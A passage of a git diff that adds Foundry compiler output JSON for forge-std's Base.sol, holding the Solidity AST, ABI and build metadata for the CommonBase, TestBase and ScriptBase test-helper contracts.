code\""}],"id":14,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"317:9:0","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":16,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"317:28:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":13,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"309:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":12,"name":"uint256","nodeType":"ElementaryTypeName","src":"309:7:0","typeDescriptions":{}}},"id":17,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"309:37:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"301:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":10,"name":"uint160","nodeType":"ElementaryTypeName","src":"301:7:0","typeDescriptions":{}}},"id":18,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"301:46:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":9,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"293:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8,"name":"address","nodeType":"ElementaryTypeName","src":"293:7:0","typeDescriptions":{}}},"id":19,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"293:55:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":23,"nodeType":"VariableDeclaration","src":"438:78:0","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE","nameLocation":"464:7:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21,"name":"address","nodeType":"ElementaryTypeName","src":"438:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":22,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"474:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"visibility":"internal"},{"id":26,"nodeType":"VariableDeclaration","src":"623:86:0","nodes":[],"constant":true,"mutability":"constant","name":"CREATE2_FACTORY","nameLocation":"649:15:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24,"name":"address","nodeType":"ElementaryTypeName","src":"623:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307834653539623434383437623337393537383538383932306341373846624632366330423439353643","id":25,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"667:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4e59b44847b379578588920cA78FbF26c0B4956C"},"visibility":"internal"},{"id":40,"nodeType":"VariableDeclaration","src":"812:105:0","nodes":[],"constant":true,"mutability":"constant","name":"DEFAULT_SENDER","nameLocation":"838:14:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27,"name":"address","nodeType":"ElementaryTypeName","src":"812:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"666f756e6472792064656661756c742063616c6c6572","id":35,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"889:24:0","typeDescriptions":{"typeIdentifier":"t_stringliteral_ee6e12ba256a78bc5d3ab9651804c8ab1f12e6bbf3894d4083f33e07309d1f38","typeString":"literal_string \"foundry default caller\""},"value":"foundry default caller"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ee6e12ba256a78bc5d3ab9651804c8ab1f12e6bbf3894d4083f33e07309d1f38","typeString":"literal_string \"foundry default caller\""}],"id":34,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"879:9:0","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":36,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"879:35:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":33,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"871:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":32,"name":"uint256","nodeType":"ElementaryTypeName","src":"871:7:0","typeDescriptions":{}}},"id":37,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"871:44:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":31,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"863:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":30,"name":"uint160","nodeType":"ElementaryTypeName","src":"863:7:0","typeDescriptions":{}}},"id":38,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"863:53:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":29,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"855:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":28,"name":"address","nodeType":"ElementaryTypeName","src":"855:7:0","typeDescriptions":{}}},"id":39,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"855:62:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":43,"nodeType":"VariableDeclaration","src":"992:92:0","nodes":[],"constant":true,"mutability":"constant","name":"DEFAULT_TEST_CONTRACT","nameLocation":"1018:21:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41,"name":"address","nodeType":"ElementaryTypeName","src":"992:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307835363135644542373938424233453464466130313339644661316233443433334363323362373266","id":42,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1042:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f"},"visibility":"internal"},{"id":46,"nodeType":"VariableDeclaration","src":"1158:89:0","nodes":[],"constant":true,"mutability":"constant","name":"MULTICALL3_ADDRESS","nameLocation":"1184:18:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44,"name":"address","nodeType":"ElementaryTypeName","src":"1158:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307863413131626465303539373762333633313136373032383836326245326131373339373643413131","id":45,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1205:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0xcA11bde05977b3631167028862bE2a173976CA11"},"visibility":"internal"},{"id":49,"nodeType":"VariableDeclaration","src":"1294:130:0","nodes":[],"constant":true,"mutability":"constant","name":"SECP256K1_ORDER","nameLocation":"1320:15:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47,"name":"uint256","nodeType":"ElementaryTypeName","src":"1294:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383532383337353634323739303734393034333832363035313633313431353138313631343934333337","id":48,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1346:78:0","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907852837564279074904382605163141518161494337_by_1","typeString":"int_const 1157...(70 digits omitted)...4337"},"value":"115792089237316195423570985008687907852837564279074904382605163141518161494337"},"visibility":"internal"},{"id":52,"nodeType":"VariableDeclaration","src":"1431:126:0","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"1457:11:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50,"name":"uint256","nodeType":"ElementaryTypeName","src":"1431:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":51,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1479:78:0","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"internal"},{"id":58,"nodeType":"VariableDeclaration","src":"1564:40:0","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"1585:2:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":54,"nodeType":"UserDefinedTypeName","pathNode":{"id":53,"name":"Vm","nameLocations":["1564:2:0"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"1564:2:0"},"referencedDeclaration":15673,"src":"1564:2:0","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"id":56,"name":"VM_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20,"src":"1593:10:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"1590:2:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":57,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1590:14:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"internal"},{"id":61,"nodeType":"VariableDeclaration","src":"1610:28:0","nodes":[],"constant":false,"mutability":"mutable","name":"stdstore","nameLocation":"1630:8:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage"},"typeName":{"id":60,"nodeType":"UserDefinedTypeName","pathNode":{"id":59,"name":"StdStorage","nameLocations":["1610:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1610:10:0"},"referencedDeclaration":7427,"src":"1610:10:0","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"CommonBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62],"name":"CommonBase","nameLocation":"166:10:0","scope":75,"usedErrors":[],"usedEvents":[]},{"id":65,"nodeType":"ContractDefinition","src":"1643:43:0","nodes":[],"abstract":true,"baseContracts":[{"baseName":{"id":63,"name":"CommonBase","nameLocations":["1673:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":62,"src":"1673:10:0"},"id":64,"nodeType":"InheritanceSpecifier","src":"1673:10:0"}],"canonicalName":"TestBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[65,62],"name":"TestBase","nameLocation":"1661:8:0","scope":75,"usedErrors":[],"usedEvents":[]},{"id":74,"nodeType":"ContractDefinition","src":"1688:104:0","nodes":[{"id":73,"nodeType":"VariableDeclaration","src":"1737:52:0","nodes":[],"constant":true,"mutability":"constant","name":"vmSafe","nameLocation":"1762:6:0","scope":74,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":69,"nodeType":"UserDefinedTypeName","pathNode":{"id":68,"name":"VmSafe","nameLocations":["1737:6:0"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"1737:6:0"},"referencedDeclaration":15098,"src":"1737:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"id":71,"name":"VM_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20,"src":"1778:10:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":70,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"1771:6:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":72,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1771:18:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"internal"}],"abstract":true,"baseContracts":[{"baseName":{"id":66,"name":"CommonBase","nameLocations":["1720:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":62,"src":"1720:10:0"},"id":67,"nodeType":"InheritanceSpecifier","src":"1720:10:0"}],"canonicalName":"ScriptBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[74,62],"name":"ScriptBase","nameLocation":"1706:10:0","scope":75,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":0} \ No newline at end of file diff --git a/contracts/out/Base.sol/ScriptBase.json b/contracts/out/Base.sol/ScriptBase.json new file mode 100644 index 000000000..e0c1a397d --- /dev/null +++ b/contracts/out/Base.sol/ScriptBase.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/Base.sol\":\"ScriptBase\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/Base.sol":"ScriptBase"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/Base.sol","id":75,"exportedSymbols":{"CommonBase":[62],"ScriptBase":[74],"StdStorage":[7427],"TestBase":[65],"Vm":[15673],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"32:1761:0","nodes":[{"id":1,"nodeType":"PragmaDirective","src":"32:31:0","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":3,"nodeType":"ImportDirective","src":"65:44:0","nodes":[],"absolutePath":"lib/forge-std/src/StdStorage.sol","file":"./StdStorage.sol","nameLocation":"-1:-1:-1","scope":75,"sourceUnit":9387,"symbolAliases":[{"foreign":{"id":2,"name":"StdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7427,"src":"73:10:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":6,"nodeType":"ImportDirective","src":"110:36:0","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":75,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":4,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"118:2:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":5,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"122:6:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62,"nodeType":"ContractDefinition","src":"148:1493:0","nodes":[{"id":20,"nodeType":"VariableDeclaration","src":"254:94:0","nodes":[],"constant":true,"mutability":"constant","name":"VM_ADDRESS","nameLocation":"280:10:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":15,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"327:17:0","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":14,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"317:9:0","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":16,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"317:28:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":13,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"309:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":12,"name":"uint256","nodeType":"ElementaryTypeName","src":"309:7:0","typeDescriptions":{}}},"id":17,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"309:37:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"301:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":10,"name":"uint160","nodeType":"ElementaryTypeName","src":"301:7:0","typeDescriptions":{}}},"id":18,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"301:46:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":9,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"293:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8,"name":"address","nodeType":"ElementaryTypeName","src":"293:7:0","typeDescriptions":{}}},"id":19,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"293:55:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":23,"nodeType":"VariableDeclaration","src":"438:78:0","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE","nameLocation":"464:7:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21,"name":"address","nodeType":"ElementaryTypeName","src":"438:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":22,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"474:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"visibility":"internal"},{"id":26,"nodeType":"VariableDeclaration","src":"623:86:0","nodes":[],"constant":true,"mutability":"constant","name":"CREATE2_FACTORY","nameLocation":"649:15:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24,"name":"address","nodeType":"ElementaryTypeName","src":"623:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307834653539623434383437623337393537383538383932306341373846624632366330423439353643","id":25,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"667:42:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4e59b44847b379578588920cA78FbF26c0B4956C"},"visibility":"internal"},{"id":40,"nodeType":"VariableDeclaration","src":"812:105:0","nodes":[],"constant":true,"mutability":"constant","name":"DEFAULT_SENDER","nameLocation":"838:14:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27,"name":"address","nodeType":"ElementaryTypeName","src":"812:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"666f756e6472792064656661756c742063616c6c6572","id":35,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"889:24:0","typeDescriptions":{"typeIdentifier":"t_stringliteral_ee6e12ba256a78bc5d3ab9651804c8ab1f12e6bbf3894d4083f33e07309d1f38","typeString":"literal_string \"foundry default caller\""},"value":"foundry default caller"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ee6e12ba256a78bc5d3ab9651804c8ab1f12e6bbf3894d4083f33e07309d1f38","typeString":"literal_string \"foundry default caller\""}],"id":34,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"879:9:0","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns 